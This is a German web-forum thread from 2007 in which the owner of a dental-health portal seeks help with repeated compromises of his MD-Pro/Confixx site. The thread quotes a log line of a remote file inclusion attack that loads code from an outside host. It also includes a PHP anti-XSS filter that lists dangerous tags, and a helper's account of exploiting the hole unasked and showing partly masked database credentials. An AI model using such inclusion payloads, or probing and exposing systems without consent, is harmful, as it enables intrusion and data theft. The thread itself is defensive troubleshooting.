zahnfilm.de wird gehackt, Confixx schuld?

J

Joachim Wagner

Guest
Also liebe Leser,

ich betreibe ein Portal für Zahnschmerzkranke. Das wird seit etwa 8 Wochen intensiver unter Dauerbeschuss gestellt. Im Log steht z.B.:

201.251.62.218 - - [30/Sep/2007:08:29:05 +0200] "GET /modules/MDForum/includes/functions_admin.php?phpbb_root_path=http://usuarios.arnet.com.ar/larry123/exploit.txt? HTTP/1.1" 200 21247 "-" "Mozilla/3.0 (compatible; Indy Library)"

Mehrfach ist es nun diesem Trojaner-Dauerfeuer gelungen, php Skripte in meinem html-Root (sozusagen) Verzeichnis mit "Extras" zu versehen. Aufgrund der Änderungszeit, die ich im Filezilla FTP Programm sehen kann, passt aber kein Einbruchs-Logbuch-Eintrag zeitlich zu den Änderungen. Jetzt habe ich gesehen, dass Confixx unterhalb der Version 3.2.1 ein Exploit hat, (siehe hier: http://www.rootforum.de/forum/viewtopic.php?t=46593) das durchaus für die Skriptveränderung mitverantwortlich sein könnte. Confixx Version ist jetzt 3.0.1

Meine Frage ist die: der Hoster tut sich etwas schwer, meine Frage zu beantworten, ob die Angriffe über Confixx erfolgreich waren, oder ob das über direkten Einbruch per GET Befehl passiert ist. Wer weiß das?

Viele Grüße

Joachim Wagner
 
Ohne genaue Analyse, gehe ich davon aus, dass Dein verwendetes Forum ein Loch hat!

erstelle eine Datei security.php darin fügst Du folgenden Code ein:
CODE <?
function RemoveXSS($val) {
// remove all non-printable characters. CR(0a) and LF(0b) and TAB(9) are allowed
// this prevents some character re-spacing such as <java\0script>
// note that you have to handle splits with \n, \r, and \t later since they *are* allowed in some inputs
$val = preg_replace('/([\x00-\x08][\x0b-\x0c][\x0e-\x20])/', '', $val);

// straight replacements, the user should never need these since they're normal characters
// this prevents like <IMG SRC=&#X40&#X61&#X76&#X61&#X73&#X63&#X72&#X69&#X70&#X74&#X3A&#X61&#X6C&#X65&#X72&#X74&#X28&#X27&#X58&#X53&#X53&#X27&#X29>
$search = 'abcdefghijklmnopqrstuvwxyz';
$search .= 'ABCDEFGHIJKLMNOPQRSTUVWXYZ';
$search .= '1234567890!@#$%^&*()';
$search .= '~`";:?+/={}[]-_|\'\\';
for ($i = 0; $i < strlen($search); $i++) {
//&#59;? matches the&#59;, which is optional
// 0{0,7} matches any padded zeros, which are optional and go up to 8 chars

// &#x0040 @ search for the hex values
$val = preg_replace('/(&#[x|X]0{0,8}'.dechex(ord($search[$i])).';?)/i', $search[$i], $val); // with a&#59;
// &#00064 @ 0{0,7} matches '0' zero to seven times
$val = preg_replace('/(&#0{0,8}'.ord($search[$i]).';?)/', $search[$i], $val); // with a&#59;
}

// now the only remaining whitespace attacks are \t, \n, and \r
$ra1 = Array('javascript', 'vbscript', 'expression', 'applet', 'meta', 'xml', 'blink', 'link', 'style', 'script', 'embed', 'object', 'iframe', 'frame', 'frameset', 'ilayer', 'layer', 'bgsound', 'title', 'base');
$ra2 = Array('onabort', 'onactivate', 'onafterprint', 'onafterupdate', 'onbeforeactivate', 'onbeforecopy', 'onbeforecut', 'onbeforedeactivate', 'onbeforeeditfocus', 'onbeforepaste', 'onbeforeprint', 'onbeforeunload', 'onbeforeupdate', 'onblur', 'onbounce', 'oncellchange', 'onchange', 'onclick', 'oncontextmenu', 'oncontrolselect', 'oncopy', 'oncut', 'ondataavailable', 'ondatasetchanged', 'ondatasetcomplete', 'ondblclick', 'ondeactivate', 'ondrag', 'ondragend', 'ondragenter', 'ondragleave', 'ondragover', 'ondragstart', 'ondrop', 'onerror', 'onerrorupdate', 'onfilterchange', 'onfinish', 'onfocus', 'onfocusin', 'onfocusout', 'onhelp', 'onkeydown', 'onkeypress', 'onkeyup', 'onlayoutcomplete', 'onload', 'onlosecapture', 'onmousedown', 'onmouseenter', 'onmouseleave', 'onmousemove', 'onmouseout', 'onmouseover', 'onmouseup', 'onmousewheel', 'onmove', 'onmoveend', 'onmovestart', 'onpaste', 'onpropertychange', 'onreadystatechange', 'onreset', 'onresize', 'onresizeend', 'onresizestart', 'onrowenter', 'onrowexit', 'onrowsdelete', 'onrowsinserted', 'onscroll', 'onselect', 'onselectionchange', 'onselectstart', 'onstart', 'onstop', 'onsubmit', 'onunload');
$ra = array_merge($ra1, $ra2);

$found = true; // keep replacing as long as the previous round replaced something
while ($found == true) {
$val_before = $val;
for ($i = 0; $i < sizeof($ra); $i++) {
$pattern = '/';
for ($j = 0; $j < strlen($ra[$i]); $j++) {
if ($j > 0) {
$pattern .= '(';
$pattern .= '(&#[x|X]0{0,8}([9][a][b]);?)?';
$pattern .= '|(&#0{0,8}([9][10][13]);?)?';
$pattern .= ')?';
}
$pattern .= $ra[$i][$j];
}
$pattern .= '/i';
$replacement = substr($ra[$i], 0, 2).'<x>'.substr($ra[$i], 2); // add in <> to nerf the tag
$val = preg_replace($pattern, $replacement, $val); // filter out the hex tags
if ($val_before == $val) {
// no replacements were made, so exit the loop
$found = false;
}
}
}
return $val;
}



?>



Diese security.php muss nun auf JEDER Seite includet werden.
include"security.php";

P.S. Du verwendest die Version 1.0.76 Du solltest IMMER, IMMER die aktuellste Version verwenden. DAs ist derzeit die V. 1.0.82!
 
Oh Shit, das ist ein riesiges Sicherheitsloch!

Sei froh ist noch nicht mehr passiert!

Mittels diesem Script kann man BELIEBIGEN PHP Code ausführen!


SOFORT und damit mein ich SOFORT fixen!
 
Och - Dauerbeschuß - solche tollen Zugriffsversuche habe ich alle paar Tage - auf meinen Windows-Servern.

Ich hatte dann auch schon Code gefunden, der nachgeladen werden sollte und komplette Shells aufgemacht hat. War nett zu studieren. Man muß ja bloß dem Pfad folgen, der nachgeladen werden soll.

Das lassen die Jungschens eben auf diverse IP-Blöcke und Domains durchlaufen, irgendeinen undichten Server werden sie schon finden.
 
QUOTE Och - Dauerbeschuß - solche tollen Zugriffsversuche habe ich alle paar Tage - auf meinen Windows-Servern.

Hab ich auch bei Ayom. Interessiert niemanden. Ich gehe allerdings davon aus, dass IPB keine weiteren dicken Sicherheitslücken hat
wink.gif
 
Hoachim, Du scheinst Dir der Tragweite des Problems niocht bewusst zu sein!

Als ich gestern sagte, Du sollst sofort fix, meinte ich SOFORT. Ich kann auf Deiner Seite ALLES anstelle. ALLES.

Dein MySQL Zugangsdaten sind:
localhost
User: d2******
Pass: Q1**********
Tabelle: usr_web317_1

Ich hab Dir einen Link geschickt, in welchem Du Dein Config File fürs Forum anschauen kannst...
 
Liebe Fachleute,

danke fürs Anschauen und den Beweis für ein gravierendes Loch. Was mir momentan fehlt, ist die Orientierung. Z.B. nach welchen Stichworten ich hier oder bei Google suchen soll.
Mit englisch habe ich kein Problem, von php habe ich immerhin eine gedruckte Übersicht und mysqladmin kann ich so lala bedienen.

Frage an sd12:
1. Haben Sie die Datenstruktur von mdpro schon woanders her, oder konnten Sie die direkt bei mir einsehen?

2. Wie heißt der Befehl in der Adresszeile, mit dem sich zahnfilm so einfach durchschauen läßt?

Sie tun hier ein gutes Werk. Danke nochmal.

Joachim Wagner
 
Joachim, was Du tun musst, ist die aktuelle Version installieren, wenn Du das getan hast, melde Dich wieder.

Dann müssen wir schauen ob das Loch noch existiert.

1. Ich kann mit Deinem Server machen WAS ich WILL.
- Ich kann alles löschen.
- Ich kann alles verändern.
- wirklich alles. Kleiner Beweis? http://www.zahnfilm.de/hacked.txt

2. Was ich tun kann, ist beliebigen Code ausführen.
Mehr dazu: http://secunia.com/advisories/26888/german/
Es ist ein URALTES Loch.
Dein Provider hat register Globals aktiviert, als schnelle Lösung kannst Du vom Hoster diese Option deaktivieren lassen.

Um aber im Zahnarzt slang zu sprechen, das ist NUR eine Spritze gegen die Schmerzen. Das eigentlich Problem muss behoben werden.
 
Hallo sd12 und Kollege ww,

leider ist das Aufrüsten meiner Board-Software auf 1.082 ein klarer Schuss in den Ofen. Das Problem mit 1.082 ist folgendes: bis zum Jahr 2005 lief bei MaxDev.com alles wie geschmiert, ständig Neuerungen und Module für die Version 1.06 , regelmäßige Updates ...

Seit 2006 etwa löst sich der Verein langsam in Luft auf. Einer der besten Leute Pete Best hat Ende 2005 das Handtuch geworfen, und der einzige wirkliche Arbeiter auf der Baustelle ist Massimo T., der auch schon angedeutet hat, dass er ohne weitere Unterstützung von außen keine Lust auf dieses Nonprofit Unternehmen hat.

Das Resultat ist ein halbherziges GeneralUpdate von 1.076 auf zunächst 1.08, und dann 1.081 und 1.082. Leider wurde beim Sprung von 076 auf 1.080 ein völlig neues Layout und auch eine grundsätzlich andere Modulstruktur verwendet, mit dem Ergebnis, dass ein ganz großer Teil der über 100 Zusatzmodule für die Version 1.07 nicht mehr zur 1.08 passt. Das war - wie wir jetzt wissen - ein großer Fehler. Jetzt hat zwar die Version 1.082 bessere Schutzmechanismen drin, ist aber für den Praxiseinsatz nicht tauglich wegen der fehlenden Module.

Und ich sage das nicht vom Hörensagen, sondern vom Selbstausprobieren. Die Version 1.081 läuft schon auf zahnfilm.de und zwar als Abzweig zahnfilm.de/english (internat. Version). Und daher weiß ich genau, dass sich 1.08 für meine Inhalte defintiv nicht eignet.

Mittelfristig werde ich wohl gezwungen sein, einen kompletten CMS Systemwechsel zu machen. Da bin ich für konkrete Hinweise dankbar.

Viele Grüße

Joachim Wagner
 
Zurück
Oben